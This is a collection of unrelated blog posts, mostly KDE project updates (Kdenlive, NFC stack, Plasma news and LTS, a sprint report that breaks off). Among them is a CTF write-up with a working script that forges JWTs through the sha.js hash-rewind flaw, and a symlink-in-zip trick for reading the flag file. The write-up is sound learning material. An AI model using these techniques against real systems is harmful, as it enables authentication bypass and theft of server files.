This is a weekly update from my Google Summer of Code 2026 project with KDE, improving effect widgets in Kdenlive, a free and open source video editor.

Real usability feedback on MR !928

Julius and Bernd both tested the Speed Ramp changes and raised a genuine concern: the panel currently mixes two related but distinct ideas, time remapping (position based) and speed keyframing (rate based), without making clear which one the new curve and keyframe types actually represent.

Bernd sketched an alternative visualization plotting speed directly. Julius pointed out it would show something different from what the current curve shows, a real design question, not a quick fix.

Jean-Baptiste weighed in with a larger proposal: split the Time Remap effect into two distinct UI modes, one for Time Remap as it exists now, and a new, simpler Speed Ramp mode built around MLT's speed_map parameter instead of time_map, switchable via a toggle in the same widget.

Scoping what fits in the time left

That's a real architectural change, not something to rush into the last stretch of the program. Talked it through with Jean-Baptiste and split his suggestions into what's doable now versus what should wait:

Doable now:

• Expand the keyframe type list beyond the original curated four
• Move the Type selector into the toolbar, next to the existing keyframe buttons

Deferred, filed as issue #2231:

• The full Time Remap / Speed Ramp mode split

A correction along the way

While expanding the type list, tested what the old pre-selector behavior actually serialized as. It turned out to be linear, not discrete, correcting an assumption made earlier in the review thread. Discrete in MLT is a genuinely different shape: the source frame freezes, then jumps at the keyframe boundary, not a gradual ramp that just changes slope abruptly. Flagged the correction on the MR rather than letting it stand.

Also went back and measured which types actually cause the clip to briefly play in reverse on a time map (an overshoot artifact). Only Bounce and Elastic do it in practice, Exponential and Circular measured clean. Updated the MR description to reflect the real numbers instead of the broader guess from a couple weeks ago.

Shipped

• Type selector now offers all 13 interpolation types the rest of the effect stack already uses, instead of a curated 4
• Type selector relocated to the toolbar next to the keyframe buttons, freeing up space below the speed fields
• MR !928 description corrected and up to date with the code
• Both changes pushed, pipeline green

What's next

Heading into the final week of the program. Reviewing pending feedback across all three widgets, wrapping up documentation, and preparing the final work product submission.

Introduction

This challenge felt tough. Even though I was the only person who solved this challenge, it's also the case that this is the only challenge I was able to solve in 8 hours.

Since there were special protections against the use of AI and LLMs, it felt especially good after solving this challenge.

Okay, so let's start without further ado,

Source code

https://drive.google.com/file/d/1AFEC93XON668Gq5I8eoVTy1gRgTpvN58/view?usp=sharing

Understanding the application

We are given source code of a web application. We can build it locally using docker.

By reading through the source code and playing with the website, we can understand a couple of things:

• There's functionality to log-in but no sign-up.

• Only authenticated users (logged in) can upload files.

• Since the flag is in the filesystem and there is no route in the application that interacts with the flag, we probably need RCE or some sort of LFI.

Subtask 1: Log-in somehow, anyhow!

It's pretty clear we need to be authenticated to do anything in this application. But there's no way for us to sign-up or register in the application and the admin's password is random and there's no way we can guess it.

So we need to dig deeper.

CVE CVE-2025-9288 | sha.js hash rewind

If you try to audit the package versions inside package.json, you'll quickly find that sha.js which uses 2.4.10 has a critical vulnerability.

You can read more about this vulnerability on it's github advisory: https://github.com/advisories/GHSA-95m3-7q98-8xr5

This CVE can be little bit tricky to understand if you are seeing anything like this for the first time, like me.

You should ideally play around with it and try to understand it yourself, but let me give you the gist of it.

We can pass specially crafted data to the library's update function which triggers something known as a hash rewind.

For example, this is how it's normally supposed to be:

> require('sha.js')('sha256').update('foo').digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

But if we do,

> require('sha.js')('sha256').update('foobar').update({ length: -3 }).digest('hex')
'2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Notice how we get the same hashes in both the examples even though the data entered is different? The CVE is that we can pass data of type Object like { length: -offset } and it will rewind the hash function's internal state back by offset times which may cause undefined behavior or hash collisions like in our case. We can even DOS the server by using this technique but it's not useful in our case.

Now, an even harder challenge is to figure out how you could use this to login to the application. I spent 2-3 hours at this step.

If we can travel to the past, let's also try to visit the future

This line is the reason for our whole suffering:

const expectedSignatureHex = sha256(...[JSON.stringify(header), payload, secret]);

We don't know what secret is. So we can never make expectedSignatureHex to be equal to our own created JWT signature.

After a lot of thinking and trail-and-error, I figured out I could also bite off the signature part in my hash rewind.

> require('sha.js')('sha256').update('foo').update({ length: -5 }).update('xyz').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'
> require('sha.js')('sha256').update('z').digest('hex')
'594e519ae499312b29433b7dd8a97ff068defcba9755b6d5d00e84c524d67b06'

Note how I did the -5 in the 1st command and it skipped "xy" and we get the hash for "z" only. We traveled to the future.

We can use this trick to skip the entire secret except the last character. The last character can be one of the 16 hex characters.

const JWT_SECRET = crypto.randomBytes(9).toString('hex');

It will be 18 characters, 9 * 2 = 18.

Therefore, we can craft a brute-force attack with our hash rewind payload. We need to pass the hashes of all the 16 hex characters in the JWT signature and one of them will match and the authentication will be successful.

This is the JS script which will give you all the 16 possible JWT tokens:

const sha = require('sha.js');

const HEADER = { alg: 'HS256' };
const HEADER_json_str_len = JSON.stringify(HEADER).length;
const PAYLOAD = { length: -(HEADER_json_str_len + 18) + 1, exp: Math.floor(Date.now() / 1000) + 100000 };
const CHARSET = '0123456789abcdef';

function genSig(c) {
  const hash = sha('sha256');
  return hash.update(c).digest('hex');
}

for (let i=0; i < 16; i++) {
  const c = CHARSET[i];
  const sig = genSig(c);

  const jwt = btoa(JSON.stringify(HEADER)) + "." + btoa(JSON.stringify(PAYLOAD)) + "." + sig;
  console.log(jwt);
}

Then you can use Burp intruder and pass these tokens in the cookies (cookie name is keycode_signal) and you'll find one of them works.

Subtask 2: ZipSlip??

Now we can upload some files. Since the name of the challenge is "ZipSlip-Stream", you might try the simple ZipSlip but it won't work.

And it will be obvious why it won't work because the Dockerfile installs the latest version of unzip which is 99.99% NOT VULNERABLE to ZipSlip

RUN apt-get update \
	&& apt-get install -y unzip \
	&& rm -rf /var/lib/apt/lists/*

To be honest, I required a hint at this point by the challenge author.

So the answer is.....

Symlink LFI

You will realize we aren't just limited to uploading zip files. But uploading a web shell won't work since this is an express server.

So we can exfiltrate the flag using a symlink file. But the important part is to keep the symlink inside the zip file.

We know the exact location of the flag, it's in root.

So we do

ln -s ../../../../../../../../../../flag evil
zip -y evil.zip evil

Then we upload this zip file (make sure to keep the name as "zip" to bypass the regex) and BOOM! We can download the flag by visiting our uploaded file. (/uploads/<some_hex>/evil)

If you have any doubts, feel free to put them in the comment section of this blog :)

Thank you,

Ojas

Following the recent look at the state of GNSS API on Linux Mobile, I did a similar exploration of where we are with the Near Field Communication (NFC) stack.

Use cases

Around NFC there’s a whole bunch of interleaved standards and protocols. Trading simplicity for accuracy here there’s basically two modes of operation:

• Reading static messages from “dumb” tags that are essentially just raw memory. The most relevant format for this is the NFC Data Exchange Format (NDEF), which is essentially a space-efficient MIME-typed container.
• Wireless communication with what is ultimately a smart card, ie. some form of application with its own specific bidirectional protocol running on the tag or card.

Reading static NDEF messages is kind of the “hello world” application here, but practically it’s the least relevant one, as QR codes have taken over practically all applications for this, having the better UX.

The smart card approach has more interesting applications:

• FIDO2 authenticator tokens, e.g. for Passkey authentication.
• Government issued id cards, e.g. the AusweisApp for interacting with German id cards.
• Authenticating on NFC-based door locks, e.g. using the Aliro protocol.
• NFC keys in Apple Wallet passes, e.g. used by some hotels.

The by far most common use is probably mobile payment though, but that has a bunch of harder problems to solve than NFC access before we can also have that on mobile Linux.

Orthogonal to that are the roles between the reader and tag/card that’s being interacted with. Those are often obvious and fixed, for tags/cards without their own power supply. NFC readers however can also pretend to be tags towards other readers, which is the basis for Host Card Emulation (HCE). That’s how mobile payment works, your phone pretends to be a credit card.

What we have

Driver stack

There’s two different driver stacks for accessing NFC readers on Linux:

• User-space PC/SC drivers. This is coming from smart cards originally and is primarily used for USB-connected desktop readers.
• The Linux Kernel NFC subsystem. This is what readers in phones use, and also e.g. the NFC reader in a Thinkpad T14s I have here.

The protocol NFC readers speak on a higher level is fortunately standardized with the NFC Controller Interface (NCI).

Middleware

Next up in the stack we have a service bridging the hardware access to applications. The canonical solution for this on Linux is neard. That provides a D-Bus interface for NFC adapters and tags, similar to e.g. BlueZ does for Bluetooth.

Unfortunately it’s in a not particularly convincing state:

• It terminates when encountering a Type 1 NFC tag (PR 35).
• It terminates when encountering a multi-lingual smart poster tag (PR 37).
• It only supports NDEF read/write operations, there is no interface for sending custom commands, nor support for HCE.

Distribution packaging on openSUSE was in a similarly concerning state:

• A wrong path in the systemd serivce file made it fail to start (fix).
• A patch to the D-Bus policy breaks half it’s functionality.

My fix for the startup issue was merged and deployed in less than 24h by the openSUSE team at least, my patches for neard have yet to see any reaction.

There’s one potential alternative, nfcd from the SailfishOS team. That seems newer and more active, and seems to have all relevant features. However, it doesn’t have a backend for the Linux NFC subsystem, but rather for the Android NFC interface.

Application API

For bringing NFC access into applications then, there’s the Qt NFC API. While the API covers everything we need, there’s a few practical limitations:

• There’s two backends for Linux (PC/SC and neard), but unlike in other Qt modules the selection happens solely at compile-time. Build the PC/SC backend and you wont be able to use neard and vice versa.
• Raw commands are available in the API, but not supported by neard, so that will just not do anything.
• Writing NDEF messages is implemented but skipped as that apparently previously crashed neard (see QTBUG-43802).
• Power and polling state handling seemed a bit shaky when something else also changes this, or when there’s more than one NFC reader present. Probably the easiest to fix of all this though.

It does come with a decent NDEF parser though, that’s useful even when directly talking to neard for everything else.

Applications

Finally we need something to actually make use of NFC in the end. So far there seems to be no integration for any of the Linux mobile platforms. In terms of applications, I’m mainly aware of the following two:

• The already mentioned AusweisApp to authenticate to online services with German id cards. It does come with a Qt NFC and a PC/SC backend, the Qt NFC one will fail to work with neard though as custom commands wont work there.
• credentialsd which aims at providing the Linux platform API for FIDO2/WebAuthn/Passkeys. That’s also using PC/SC directly it seems.

Development Tools

Working with hardware tends to be inconvenient, so before looking at filling gaps in the stack it makes sense to look at development tools. I fortunately have access to a Proxmark3, an open-source hardware device that can work as an NFC reader, emulate an NFC tag/card and monitor the communication between an NFC reader and card. That’s very useful functionality, but it doesn’t help with making things more convenient, you now have another slightly fragile device to handle.

Fortunately, the Linux kernel has support for virtual NCI devices, which we can use for emulating an NFC reader and NFC tags entirely in software. Perfect for testing and reproducability, and doesn’t require any kind of physical NFC hardware.

But while the kernel has all necessary infrastructure for this, I haven’t found a single user-space tool making use of that so far. So I wrote one. This is fairly basic, but it’s at least enough to test power and polling states of readers and to present Type 1 and Type 2 tags with readable and writable memory. That’s enough for the basic NDEF use cases, but not for the more advanced applications. The challenging part there would be to write a software emulation for the actual application though, not the NFC/NCI part.

There’s a few more things worth investigating:

• A bridge between the virtual NCI interface and the Proxmark3. While using the Proxmark3 as a regular NFC reader is complete overkill, it’s still useful if that’s the only NFC hardware you currently have handy.
• Exposing (virtual) NFC devices to a VM, for e.g. testing in postmarketOS images.
• Logging of the NCI communication between the kernel and a hardware NFC reader. Probably doable with some eBPF magic, and maybe outputting in a Wireshark-compatible format.

Platform Integration

Compared to the non-Linux mobile platforms the first thing to notice is that we don’t even have a simple switch to turn NFC on or off on your device. So I wrote a Plasma applet for that, inspired by how this is done for Bluetooth.

For Bluetooth this is backed by bluedevil as a daemon process in the user session, likewise we now have neardevil doing this for NFC. This takes care of the following:

• Monitor and change power and polling state for NFC readers.
• Show notifications for detected tags containing static NDEF messages, and allowing to open URLs contained in those.
• Allow to set up Wi-Fi connections and pair with Bluetooth devices based on corresponding information in static NDEF messages. For this also a dynamic protocol exists where both parties exchange keys over NFC, that’s not implemented and also unlikely to be added later as BlueZ removed the corresponding API for security reasons some time ago.
• Receive vCard contact information.

This is a prototype at best and there’s of course much more that could still be done here, like keeping a tag history, detecting and handing over to tag-specific apps for e.g. your id card, etc. But it’s a start at least.

How to continue?

So far this is all based on neard, which means as of right now there’s no direct path towards actually supporting the interesting use cases requiring sending and receiving application-specific commands or host card emulation.

There’s a few options on how to address this:

• neard comes back to live and we get the missing features implemented there.
• We implement a Linux backend plugin for nfcd and rebase everything on top of that.
• We implement our own, by forking or by starting from scratch.

“We” here isn’t just KDE though, we need something that works for the entire Linux mobile ecosystem, this is shared platform infrastructure which usually has exclusive hardware access, so everyone bringing their own isn’t going to work.

Thoughts and input on this highly appreciated!

It has been an incredible 12-week journey contributing to the KDE Community for Google Summer of Code 2026! The guidance and support from my mentors, Benson Muite and Srisharan VS was incredible. Lots of contributions and conversation over this happy period.

Here is a comprehensive summary of what we accomplished this summer:

XMPP Integration in Login and UI updates (Weeks 1-3)

I began by integrating in-game XMPP server registration (following XEP-0077: In-Band Registration), complete with compliance checks to ensure protocol adherence. On the frontend, I redesigned the Profile Page to dynamically fetch profile icons and usernames directly from the user's logged-in XMPP account.

Tournaments and Gameplay Enhancements (Weeks 4-7)

I made the core logic and UI for creating XMPP game rooms (XEP-0045: Multi-User Chat) and player invitations. I introduced two major tournament styles: Round-Robin and King of the Hill. To keep matches competitive, I implemented time limits for accepting invites and executing game moves.

Beyond tournaments, the actual gameplay received a massive polish. I added smooth displacement animations so shells transition flawlessly from pit to pit, introduced togglable game music, and finalized flatpak artifact builds to make distribution easier.

Game Bots for Automation and In-Game Chat (Weeks 8-10)

To ensure players always have an opponent, I developed an API Bot for Mankala that automates gameplay moves, complete with OpenAPI documentation. For human opponents, I implemented a real-time text chat system during multiplayer modes directly over our XMPP architecture.

Real-Time Voice Chat (Weeks 11-12)

Taking inspiration from KDE’s Kaidan, I utilized the QXmpp library to implement Jingle (XEP-0167: Jingle RTP Sessions) for media sessions. I designed a C++ VoiceCallManager to listen for incoming Jingle requests, establish peer-to-peer connections, and route audio via QtMultimedia.

The biggest challenge was perfectly syncing the game window with the Jingle state. By exposing properties like call status and remote JIDs to QML, the UI now dynamically hides the text chat and reveals the active voice call layout instantly when a call connects.

Community & Documentation

I had the privilege of giving a talk on Mankala at the ILUGC monthly meetup, adding standard CONTRIBUTING.md / SETUP.md documentation, and setting up a Craft blueprint. I will be asking ILUGC members for feedback on the new builds.

A huge thank you to my mentors and the KDE community for their constant guidance...🚀

Welcome to a new issue of This Week in Plasma!

This week was full of user interface improvements and performance enhancements, and we snuck in a few features as well:

Notable new features

Plasma 6.8

Remote desktop sessions now offer a fully shared clipboard, rather than only sending the server’s clipboard to the client. (Nick Haghiri, krdp MR #213)

Notable UI improvements

Plasma 6.8

Events shown in the Digital Clock widget now display their descriptions inline, rather than in a hover tooltip. (Francesco Fortunelli, KDE Bugzilla #429700)

The scrolling speed sliders on System Settings’ Mouse and Touchpad pages are now accompanied by spinboxes that permit fine-tuning their speeds. (Wladimir Leuschner, KDE Bugzilla #477745)

Discover now shows all of the external links that apps can set in their metadata. (Taras Oleksyn, KDE Bugzilla #522213)

Interactive UI elements on the logout screen are now only shown on the active monitor, mirroring the same thing on the lock and login screens. And the whole thing now fades in and out faster, too. (Ramil Nurmanov, and Nate Graham, KDE Bugzilla #431382 and kwin MR #9711)

The wallpaper chooser UI that’s visible in System Settings and the desktop configuration window now loads in a smoother and less glitchy-looking way. (Artem Grinev, plasma-workspace MR #6892)

The Power & Battery widget’s “Manually Block Sleep and Screen Locking” switch is now vertically aligned to its icon. See, KDE really does care about margins and alignment! 😁 (Angel Parra, powerdevil MR #662)

New

Old

Notable bug fixes

Plasma 6.6.7

The Power & Battery widget’s tooltip no longer talks about scrolling to change the power mode on systems without either of the power-profiles-daemon or tuned-ppd systems installed and working. (Nate Graham, powerdevil MR #663)

Plasma 6.7.5

Fixed a somewhat common way that Discover could crash on systems using the RPM-OSTree architecture, such as Fedora Kinoite. (Aleix Pol Gonzalez, discover MR #1385)

If the fwupd system service is broken or masked using systemd, the rest of Discover still works as expected. (Tobias Fella, discover MR #1373)

When the Task Manager widget is used with a right-to-left language or its tasks are configured to appear “to the left”, the tasks now move to the expected location when manually rearranged by dragging. (Christoph Wolk, KDE Bugzilla #504898)

Custom accent colors defined within wallpapers are once again honored. (Zhora Zmeykin, KDE Bugzilla #514656)

Plasma 6.8

Fixed a case where the remote desktop server could crash when closing a connection. (Wengsheng Tang, krdp MR #189)

Resizing an aspect-ratio-locked window no longer sometimes makes it disappear! (Vlad Zahorodnii, KDE Bugzilla #479547)

The OSD displayed when muting or unmuting microphones using the Microphone Indicator widget now shows the correct icon. (Undef Fox, KDE Bugzilla #472107)

Apps packaged as Flatpaks or using Nix now get pinned to the Task Manager widget in a more robust way, so they’re less likely to get broken in the future if the underlying locations of their .desktop files change. (Christoph Wolk, KDE Bugzilla #505066)

The Emoji Selector window now uses the same consistent order for the gendered variants of all emojis, not just some of them. (Tobias Ozór, plasma-desktop MR #3939)

New

Old

The pointer now looks even sharper at absurdly enormous sizes when you shake it for ages and ages. (Vlad Zahorodnii, kwin MR #9176)

Right-clicking twice on the same pixel of the desktop without moving the pointer no longer shows the wrong context menu the second time. (Christoph Wolk, KDE Bugzilla #504765)

Frameworks 6.30

Fixed a bug that could make KDE Connect consume 100% of a whole CPU core. (David Redondo, KDE Bugzilla #517743)

Very large images on the clipboard no longer sometimes fail to paste successfully. (Zhora Zmeykin, KDE Bugzilla #519651)

Various dialogs throughout KDE software once again properly offer the opportunity to open executable text and script files in a text editor app, working around an upstream change in shared-mime-data which had broken this. (Méven Car, KDE Bugzilla #522948)

Kup 0.11.0

Kup’s notification about backup progress no longer erroneously tells you that the backup destination is on your phone that’s paired with KDE Connect. (Harald Sitter, KDE Bugzilla #518494)

Notable in performance & technical

Plasma 6.6.7

Added support for monitoring GPU usage for Intel A380 GPUs. (Takahiro Hashimoto, KDE Bugzilla #517334)

Pasting very large PNG images no longer sometimes causes some lagging and stuttering. (Zhora Zmeykin, plasma-workspace MR #6874)

Plasma 6.7.5

KWin now supports more than one wl_data_device, which opens the door to improved drag-and-drop support in Firefox. (Martin Stransky, KDE Bugzilla #521494)

Spectacle is now slightly faster at taking screenshots. (Zhora Zmeykin, kwin MR #9752)

Plasma 6.8

The new kscreenctl tool now supports setting custom CVT timings/modelines. (Vlad Zahorodnii, KDE Bugzilla #517654)

Frameworks 6.30

Reduced the number of times the common Kirigami.Icon component needs to read from the disk while looking for fallback icons. (Jakob Petsovits, kirigami MR #2139)

The Baloo file indexer now correctly ignores Btrfs snapshots that happen to be stored in your home directory, instead of pointlessly trying to index them. (Hadi Chokr, baloo MR #295)

How you can help

KDE has become important in the world, and your time and contributions have helped us get there. As we grow, we need your support to keep KDE sustainable.

Would you like to help put together this weekly report? Introduce yourself in the Matrix room and join the team!

Beyond that, you can help KDE by directly getting involved in any other projects. Donating time is actually more impactful than donating money. Each contributor makes a huge difference in KDE — you are not a number or a cog in a machine! You don’t have to be a programmer, either; many other opportunities exist.

You can also help out by making a donation! This helps cover operational costs, salaries, travel expenses for contributors, and in general just keeps KDE bringing Free Software to the world.

To get a new Plasma feature or a bug fix mentioned here

Push a commit to the relevant merge request on invent.kde.org.

Last year, Plasma developers canceled the long-term support (LTS) version of Plasma. Why?

We had a few reasons:

• Almost nobody was using it; really only Kubuntu. Other discrete-release operating systems like Debian and openSUSE Leap generally ignored it.
• It wasn’t a real LTS; we only backported some fixes for Plasma, and nothing for the Frameworks it was built upon, nor the Gear-aligned KDE apps it shipped with.
• Our backporting of fixes was fairly blind since there weren’t CI resources to validate them, and nobody ever felt like testing them manually.

As a consolation prize for canceling the Plasma LTS product, we decided at the time to add an additional bug-fix release to the normal Plasma schedule, effectively lengthening the support period for each non-LTS Plasma version by 2 months — from 4 months to 6.

And as a result, there have been no Plasma 6 LTS versions.

…Until now!

Plasma 6.6 is now an LTS version. And not just Plasma 6.6 itself, but also a specific version of KDE Frameworks: 6.24, which will also receive backported bug-fixes. And Gear 25.12, too!

What changed?

It wasn’t a change to my or anyone else in KDE’s opinion of what a proper LTS product looks like. Rather, it was the Kubuntu Focus company stepping up to fund the creation of one, as announced today!

That’s right, Kubuntu focus is sponsoring a Plasma 6.6 LTS product for the next three years!

This consists of a couple of pieces:

First of all, Kubuntu Focus is sponsoring Techpaladin Software to fix bugs identified by Kubuntu 26.04 users. (full disclosure: I’m the CEO of Techpaladin Software). We’re not just backporting bug-fixes that happen to get made, but rather actively working with the Kubuntu folks to identify and fix pain points experienced by them and their users.

Plasma 6.6 will thus remain eligible for bug reports for the next three years, and we’ll do our best to get them fixed and backported.

Speaking of which, we’ll be backporting fixes for more than just Plasma 6.6 — relevant ones will also to Frameworks 6.24 and Gear 25.12, the versions that Kubuntu 26.04 ships with. The whole KDE part of the software stack!

Finally, Kubuntu Focus is sponsoring additional continuous integration resources owned by KDE e.V. to handle the load of validating changes made to these older versions. And they’ve been generous enough to sponsor more than was strictly speaking needed for the initiative, so KDE in general benefits from faster CI times even for non-LTS work!

We’re calling the whole thing the “Bullet-Proof KDE Initiative”.

This is what a real LTS initiative looks like, folks: people involved with an OS putting the resources into making a non-LTS upstream release into an LTS one, properly. With bug fixes — not just security fixes — backported to all levels of the software stack, not just the top one.

So I predict Kubuntu 26.04 promises to offer the best KDE experience of any Kubuntu release ever!

I know a lot of folks really enjoyed Kubuntu’s 24.04 release because of how it lined up with Plasma 5.27, which we made an LTS release for an extended period of time during the Plasma 6 transition. Well, this is the same thing, only with a great version of Plasma 6 included, and supported for even longer!

Aha, so you’re a sell-out who changed his opinions about LTS due to money!

My opinion remains the same: I don’t dislike LTS products — only fake ones that promise support but don’t actually deliver it. With this initiative, users of Kubuntu 26.04 get a real LTS product, with real support backed by a pair of commercial companies.

So this is all a commercial thing? KDE gone korporate?

It’s largely a commercial initiative between Kubuntu Focus and Techpaladin Software, yes — though KDE e.V. has signed off on the initiative and agreed to accept funding for the new CI resources.

Both companies are good citizens in the KDE ecosystem: KDE e.V. patrons, employers of engineers you’ve heard of, and providers of hardware and services to users of KDE software.

And the benefits accrue far beyond just the companies. Obviously Kubuntu 26.04 users benefit, even those who didn’t buy a computer from Kubuntu Focus. And as I mentioned earlier, all of KDE now has more general-purpose CI resources. Also, many of the LTS bugs that Techpaladin people have already fixed were affecting people on later Plasma versions, too! Everyone wins here.

So the commercial part is not a limitation on what anyone else gets for free or is allowed to do; it’s just an acknowledgement that creating a real LTS product costs money.

Wow, really cool! How can I help?

Anyone in the wider KDE community who’s interested in this kind of thing should feel comfortable backporting important and safe bug-fixes to the stable branches for Plasma 6.6, Frameworks 6.24, and Gear 25.12. There will be a Kubuntu CI runner that makes sure nothing breaks (at least, nothing that’s tested in the CI! So keep that test coverage high).

And if you happen to run discrete-release OS and would like to get in on the action, feel free to ship Plasma 6.6 and invest some of your own resources into it! It will be very welcome to see more people fixing bugs reported by LTS users that are still present on master, or backporting more recent bug-fixes to the LTS version. Again, everybody wins here!

Over the last two weeks, I worked on adding multi-select support for deleting multiple entries at once. It sounded like a straightforward feature at first, but it ended up leading me down an interesting debugging involving an asynchronous race condition.

Multi-Select with Ctrl+Click and Shift+Click (!44)

KeepSecret now supports the standard multi-selection behavior users expect from desktop applications. You can Ctrl+click to select or deselect individual entries, and Shift+click to select a range of entries. I also updated the right-click behavior so that if you right-click on an unselected entry, it becomes the current selection first.

Another improvement was simplifying the delete logic. Previously, deleting a single entry and deleting multiple entries followed different code paths. Now both actions share the same implementation, making the code cleaner and easier to maintain.

While working on this feature, I also fixed a few small UI issues. The entry details panel would sometimes open unexpectedly after a right-click, occasionally close when it shouldn't, or remain visible even after the selected wallet had been deleted. These edge cases are now handled correctly.

The Race Condition

Deleting multiple entries at once would sometimes fail with a confusing libsecret-CRITICAL error and a “Could not retrieve the secret value” message. The problem was inconsistent—it could happen with the first item or with one of the later items.

I first checked a few possible causes, like stale proxy-model indices and timing issues between deletion and model updates. Eventually, I found the real problem.

When an item was loaded, it also started an asynchronous request to fetch its secret. But the delete operation could run before that request finished. If the item was deleted first, the callback would later try to access an item that no longer existed.

Since we don't need the actual secret value when deleting an entry, I changed the loading process to skip that unnecessary request. This removed the race condition instead of trying to work around the timing issue.

Mobile-Friendly Selection Mode (!46)

I added a touch-friendly version of the desktop multi-select feature. Long-pressing an entry enters selection mode, where checkboxes appear and tapping entries toggles their selection. It reuses the existing selection logic, so the Delete Selected Secrets action works without any changes.

Nate Graham also suggested that this pattern could eventually be useful as a reusable component for other mobile apps. Marco Martin is testing the long-press behavior on a touch device next, since it currently also gets triggered by clicking and holding with a mouse.

My favorite tabletop game of all time is Star Wars: Armada, a Star Wars themed ship combat wargame.

Armada has many deep and tactically interesting features, but one of my favorites is the unique suite of defense tokens available to each spaceship to protect itself against attacks, from among the following six options:

• Scatter – the attack is completely canceled. “I wasn’t where you were shooting”
• Evade – cancel an attack die at long range, or re-roll one at short and medium range. “I dodged your attack, so it missed or became a glancing blow”
• Brace – halve the damage. “Ouch, you hit me! But it wasn’t as bad as it could have been”
• Redirect – move some damage to an adjacent hull zone. “You hit me, but not where I was weakest”
• Contain – downgrade a critical hit to normal damage – “My damage control efforts turned the potential catastrophe into just a normal crisis”
• Salvo – return fire. “You hit me, but I hit back”

There’s way more information here for people whose military nerd curiosity has been piqued.

Anyway, this is well and good for games about spaceships, but what’s the relevance? Let’s imagine that we humans have these defense tokens, too. And today I’d like to talk about how they relate not to physical attacks, but interpersonal ones.

You negligent fool! You nit-picking jerk!

Someone has blindsided you with unexpected criticism! The monkey brain sees this as an attack:

Imperial Star Destroyer by topcat at Wallpapers.com — https://wallpapers.com/wallpapers/imperial-star-destroyer-hus8fir1xr6vldsn.html

Red alert! Shields up! All hands to battle stations! Your blood pressure rises. You see red and gear up for a fight:

Bull Image from FreePNGimg.com

And what’s the most satisfying defense token to use? Salvo, for sure. Hit back:

Oh yeah, that’s pretty rich coming from you given how you messed up that other thing last week!

The angry email. The “call-out” social media post. The sharp reply on chat. The hyper-critical blog post. They feel good, right?

But Salvo doesn’t actually avoid any damage. in Armada, if you Salvo every attack, your ship explodes, with the only other effect being that the attacking ship gets hurt too — usually a lot less.

From the perspective of minimizing interpersonal friction in a group setting, Salvo is the worst defense token. It didn’t end the conflict created by this unexpected criticism; in fact, now the conflict is bigger and louder, because the criticizer has also gotten hurt. Other people may leap to their defense, or yours, and pretty soon the battle lines are established. What started as a community soon feels like a war zone.

Redirect isn’t great, either; in a community context it’s basically blame-shifting, which similarly doesn’t prevent any damage; it just moves it around, and the community still suffers.

Neither is is not what we want for our community if the goal is to remain friendly and welcoming!

Prevent and reduce damage

If we want to keep our ship flying community alive, we need to prefer the defense tokens that prevent or reduce damage:

• Scatter: prevent conflicts in the first place by meeting expectations, being mindful of other people’s feelings, and maintaining your relationships.
• Evade: notice impending conflicts and help make them fizzle out early. Be humble.
• Brace: mend fences and fix problems so the conflicts that do erupt shrink over time.
• Contain: keep conflicts localized to the participants, and prevent them from spiraling out of control. Don’t let drama spill out into the larger team or the whole organization — or heaven forbid into the media! Accept valid criticism and let others have the last word.

These social defense tokens are harder and less satisfying to use than Salvo and Redirect. But over the long term, they do a much better job.

Which brings us to KDE

Today I think KDE is known as a pretty friendly place. And when I look around, I see a lot of examples of people ­— consciously or unconsciously — using defense tokens in their interpersonal relationships that reduce harm rather than moving it around or sending it back.

It’s not perfect, of course. We all mess up sometimes. And a culture like this takes years to develop. But I think the strong social bonds between contributors inside KDE are self-evident, and represent a significant part of the organization’s success today.

So I want to congratulate KDE and encourage us all to keep it up! I know times are tough and a lot of things in the world feel like they’re exploding, or getting ready to. Things suck more than they should, and there’s always more we can do to improve it. But as long as we maintain our relationships with one another, it becomes a lubricant that makes all those things so much more possible to survive or achieve.

I participated in the KEcoLab sprint held from May 27th to May 28th at the KDAB office in Berlin. It was my first time being at a KEcoLab sprint, I have mostly been an online participant before this so it was nice to meetup with both Karan and Joseph and work together in person. I also got to meet Carl Schwan and Volker Kraus.

Day 0

I arrived a day early by an overnight train around 7 am. I couldn’t check in to the hostel before 3pm so decided to explore the city instead.

I explored the area around Alexandrplatz and got some nice photos, more of that will be covered in my next blog about Berlin.

I met up with Karan and was able to check in a bit early. We had Vietnamese Pho for lunch.

Later at evening me and Karan met with Joseph and he showed us around. We visited Tempelhofer Feld and Joseph also treated us to a nice Turkish dinner.

Day 1

We met at the KDAB office at 10am to start the sprint. We started the day by fixing the RDP connection. Recently we have been unable to maintain a reliable RDP connection with the remote lab, we required someone to be present in the lab to help us establish access. We restarted the SUT (System Under Test) and tried to establish a connection again when we found out we were prompted by a dialog box to allow remote connection. This isn’t an ideal situation for a remote lab because this permission is reset on reboot. We found that the solution to the exact issue we were facing was already solved by Harald Sitter through this patch to XDG desktop portal. We ran the commands in the patch and tested it few more times to confirm it was working reliably.

Next we started working on setting up the 2nd SUT which was generously donated by Cornelius to KDE.

Unfortunately the PC refused to post. As soon as it was turned on it would produce 6 loud beeps. The pc we had access to was a Fujisu Esprimo p510 85+ with 4gb of ram and an Intel core i5 using AMI Aptio 4.6 Bios.

We tried to debug the issues by removing the ram sticks one after another but the beep was still audible and the frequency remained constant. We tried multiple different cables as well to rule out a faulty display cable. Point to note, the CPU fan during this time would be at full throttle and the usb ports were also not getting power.

We also tried replacement ram sticks that folks at KDAB had but it didnt solve the issue. Replacing the CMOS battery also didn’t help.

As last ditch effort, we removed the CPU fan and tried to boot the system (the system was immediately switched off once the beeps started so roughly 2s uptime) to see if the beeps would still be persistent but it was still present although we did find the reason why the fan was running at full throttle, the thermal paste was completely dry.

Going by the manufacturer’s documentation, 6 beeps presents itself as “Flash update is failed”, searching online didn’t give us a viable solution and since the usb ports were not working reflashing the bios was also out of question.

We ended the day by shifting our focus towards generating a new Okular Measurement Report for the Blue Angel Certification. We were also interested in seeing how much energy consumption would have changed since the first report. Our Season of KDE 26 mentee Hrishikesh Gohain had worked towards this. There were few changes we needed to make to run the pipeline successfully. We tested them locally first on our laptops and once it passed successfully, we ran the script overnight and that was our last task of Day 1. Following was the pipeline that was run.

At the end of the day, we visited c-base, berlin. It was a nice experience and we were also lucky to visit the members only spaces and got a whole tour of the place by one of the members. Aferwards we all went to a nice Azerbaijanish place.

Later me and Karan spent the rest of the night exploring Berlin on a lime scooter. Suffice to say, Berlin at night is quite a beaut!

Day 2

We started the day by checking the report generated by the pipeline we ran last day. We had unfortunately run into the following error.

